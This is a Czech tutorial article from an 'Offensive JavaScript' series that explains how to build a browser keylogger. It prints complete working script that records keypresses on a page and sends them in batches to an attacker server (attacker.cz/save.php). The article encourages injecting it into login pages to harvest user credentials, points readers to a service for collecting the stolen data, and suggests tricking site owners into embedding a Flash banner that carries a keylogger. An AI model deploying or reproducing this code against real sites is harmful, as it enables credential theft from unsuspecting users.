Zpět na seznam článků     Číst komentáře (7)     Verze pro tisk

Útočný JavaScript (10)

Autor: .cCuMiNn.   
24.3.2011

Ač se to může zdát zvláštní, je pomocí JavaScriptu možné vytvořit i keylogger, který bude zaznamenávat stisknuté klávesy. Nemyslete si ale, že se bude jednat o běžný keylogger, který znáte z prostředí OS, a který vám umožní zjistit přístupové heslo do systému.


Pomocí JavaScriptu, který je vložen do obsahu HTML dokumentu, je ale možné zaznamenávat klávesy stisknuté pouze v rámci dokumentu, ve kterém je umístěn. Pokud se vám ale podaří injektovat jeho kód na stránku s přihlašovacím formulářem, zaručeně tak můžete získat přístupové údaje uživatelů k napadené webové aplikaci.

Kód skriptu je velice jednoduchý. Spočívá v zachytávání a ošetřování událostí onKeyPress a postupné ukládání stisknutých kláves do bufferu, který je tvořen proměnnou keylog. Ve chvíli, kdy buffer obsahuje 10 znaků, nebo je stisknuta klávesa enter, dojde k odeslání získaného řetězce na webový server útočníka.

V uvedeném skriptu využívám pro odeslání dat vlastnosti src u obrázku. Samozřejmě je ale možné využít i jiné techniky, například XMLHttpRequest apd.


  1. <script>
  2.   function savekeycode (e) {
  3.     if( !e ) {
  4.       if( window.event ) {
  5.         e = window.event; // IE 8
  6.       } else {
  7.         return;
  8.       }
  9.     }
  10.  
  11.     if( typeof( e.charCode ) == 'number'  ) {
  12.       e = e.charCode; //NS 6+, Mozilla 0.9+
  13.     } else if( typeof( e.which ) == 'number' ) {
  14.       e = e.which; // NS 4
  15.     } else if( typeof( e.keyCode ) == 'number'  ) {
  16.       e = e.keyCode; //DOM
  17.     } else {
  18.       return;
  19.     }
  20.  
  21.     keylog+=String.fromCharCode(e);
  22.     if ((keylog.length==10)||(e==13)) {
  23.       obraz.src = "http://www.attacker.cz/save.php?keylog="+keylog;
  24.       keylog="";
  25.     }
  26.   }
  27.  
  28.   keylog="";
  29.   document.onkeypress=savekeycode;
  30.   obraz = new Image();
  31. </script>

Na straně útočníka pak naslouchá skript save.php, jehož cílem je obdržené části textu ukládat pro pozdější použití. Pokud byste nevěděli, jak takový skript vytvořit, nebo se vám s ním nechtělo dělat (i když by byl velice triviální), můžete využít i zdejšího projektu GET2MAIL, který vám aplikaci na straně serveru výborně zastoupí.

Pro představu o dalším využití, je možné keyloggery v JavaScriptu vložit také do action scriptu flashových animací. Pokud se vám podaří přesvědčit oběť, aby si váš flashový banner (obsahující podobný keylogger) umístila na své webové stránky, dokážete si asi představit následky...


Líbil se Vám článek?
Budeme potěšeni, pokud vás zaujme také reklamní nabídka

Social Bookmarking

     





Hodnocení/Hlasovalo: 1.57/23

1  2  3  4  5    
(známkování jako ve škole)